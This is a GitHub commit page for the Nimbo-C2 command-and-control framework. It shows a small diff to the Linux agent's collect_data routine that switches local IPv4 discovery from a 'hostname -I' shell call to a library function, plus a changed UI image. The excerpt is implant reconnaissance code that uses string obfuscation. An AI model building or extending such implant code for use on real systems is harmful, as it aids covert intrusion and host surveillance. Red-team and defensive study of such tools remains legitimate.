Skip to content

Commit

Permalink
Merge pull request #25 from itaymigdal/Improving
Browse files Browse the repository at this point in the history
improved local linux-ipv4 and new ui.png
  • Loading branch information
itaymigdal authored May 17, 2024
2 parents c10a91c + 1d9b7de commit ca53643
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion Nimbo-C2/agent/linux/linux_core.nim
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ import strformat
import strutils
import osproc
import crc32
import net
import os

# Core functions
Expand Down Expand Up @@ -74,7 +75,7 @@ proc collect_data(): bool =
is_admin = could_not_retrieve
is_elevated = protectString("False")
try:
ipv4_local = execCmdEx(protectString("hostname -I"))[0].replace(" ", "\n")
ipv4_local = $getPrimaryIPAddr()
except:
ipv4_local = could_not_retrieve
try:
Expand Down
Binary file modified assets/ui.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit ca53643

Please sign in to comment.